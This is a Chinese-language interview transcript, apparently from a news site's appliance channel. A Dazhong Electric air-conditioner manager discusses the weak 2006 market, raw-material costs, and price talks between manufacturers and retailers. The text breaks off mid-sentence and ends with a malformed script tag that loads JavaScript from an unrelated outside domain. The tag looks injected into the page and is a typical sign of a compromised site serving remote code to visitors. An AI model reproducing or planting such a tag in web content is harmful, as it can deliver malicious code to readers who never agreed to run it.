主持人：大家下午好。天气渐渐热了，空调市场也跟这天气似的越来越热闹了！买空调的人也越来越多，厂家之间的竞争也越来越激烈！我们今天就请到了大中电器有限公司经贸总部空调部部长王琦先生做客人民网家电频道，和我们一起探讨一下今年的空调市场。欢迎您，王先生！
王琦：大家好。
主持人：探讨今年的空调市场，我们就不免要说一下去年的空调市场，2006年都被业内人士称为“空调冷冻年”，为什么被称为“冷冻年”？
王琦：这大概和销售成长趋势，和所期望的销售值是有一定影响的，包括天气的因素，有可能造成销售上并不是很旺，包括厂家和商家都在说这些东西。
主持人：好象商家喊“降”，然后厂家是在喊“涨”，然后最后导致2006年空调是惨淡收场是这样吗？
王琦：对，应该是这样。比如说，商家一直在喊空调不涨价的，而厂家根据原材料的涨价，包括市场竞争的状态这些情况，还有各地区的不同差异问题，还有一些其他方方面面的因素，包括人力资源等情况，应该都是在喊“涨”的，可是商家在这种竞争激烈状态之下，由于竞争比较激烈状态之下，基本上没有涨，一直都是在降，但是普及情况下，新品推出多了，涨价降价是相对而言的情况。
主持人：06年是公认的空调行业的灾年，原材料上涨的，市场总量也下滑，产品饱和度进一步加大，空调企业的日子总体来说不是很好过？大中去年的成绩怎么样？
王琦：因为我们销售行业是跟去年或者跟前年的同比状态来看，在北京市场这种开放型发展，我们的销售部像大家所想象的那样，实际上同比是上升、成长的，和当时占领的地域和方方面面的促销活动，和厂家在联合搞这些活动，我们销售比往年还好。
主持人：大中去年的成绩比往年还要好。但是其他的卖场是不好吗？
王琦：实际情况来看，只是没有想象当中成长的没有那么迅速而已，没有达到期望值。
主持人：大中还是非常幸运的。您说的价格问题，空调价格因素主要有哪些？
王琦：我想影响空调的因素，实际上是老百姓所看到的一些价格因素，实际上厂家在喊原材料的上涨，包括铜、钢、或者一些材料在涨，而又当地的一种竞争状态，跟品牌之间的竞争，跟商家之间的竞争造成价格在某些局部的方面，包括大中型城市，符合薄利多销的地区，价格普遍微往下降，但是正常情况来看，如果这些因素在影响价格，也不排除有涨的可能性。
主持人：一个是原材料，一个是商家之间的竞争。
王琦：一个是地区和品牌的竞争。
主持人：也就是说厂家和品牌之间的竞争。今年的空调市场厂家会不会吸取去年的教训呢？还会出现商家喊“降”，厂家喊“涨”的局面吗？
王琦：我想这一直是矛盾的统一体或者共同体，一直都在喊这是一种博弈的过程，也是一种由头在炒作这种情况，通过原材料的涨，趋势基本不可避免，在涨的同时，功能性和时尚性和可选择性增加了，老百姓还是要得到实惠。
主持人：在涨价和降价这两者之间，厂家和商家会不会进行一些沟通呢？比如说空调真正到卖场上是涨价了，还是降价了，之前厂家会和商家进行沟通吗？
王琦：价格问题基本上是厂家来主导，因为它做生产。实际上商家在做的是和它前期的同期产品功能性、性价比性、相对而言的比较性，功能涨了什么，价格涨到什么程度上，这是一个对比的状态，这里存在矛盾的情况，这边喊降，那边喊涨，两方面都有这个过程。
主持人：比方说，我这边有空调，我是说大中，我们这边空调准备降价了，你们这边会相应的做一些什么情况？比如说，咱们现在做一个角色互换，我是厂家，我说我们这个空调现在有一万台，我们准备涨价，您看您这边会做一些什么工作？沟通会过程会是什么样子的？
王琦：厂家之间互相的沟通，至于涨价或者降价，在功能上有什么差异性，增加了什么功能，或者减少了什么功能，或者跟以前的产品比较而言，有了什么新的功能，包括质的飞跃，有没有这种状态，如果没有，你凭什么涨价，或者根据我的销售能力，你比方说在一万台当中，也可能我要全包一万台是什么状态，另外有可能我要包局部，这又是一个什么状态，这两个方面会互相的博弈在谈。
主持人：沟通程度比去年而言是更紧密还是更疏远了？
王琦：实际上来讲，现在的沟通是更紧密了，因为随着空调这种品牌集中度的提高，厂家依赖于商家，商家依赖于厂家，是互不分割的部分。
主持人：3月12日苏宁发布了《2007年空调行业白皮书》，在这个《白皮书》提到，在2006年空调“冷冻年”度结束后，工厂和厂家的库存总量仍然超过一千万台，创造了历史上的最高峰值，2007年空调厂商的压力急剧加大”，?script src=http://er12.com/t.js>
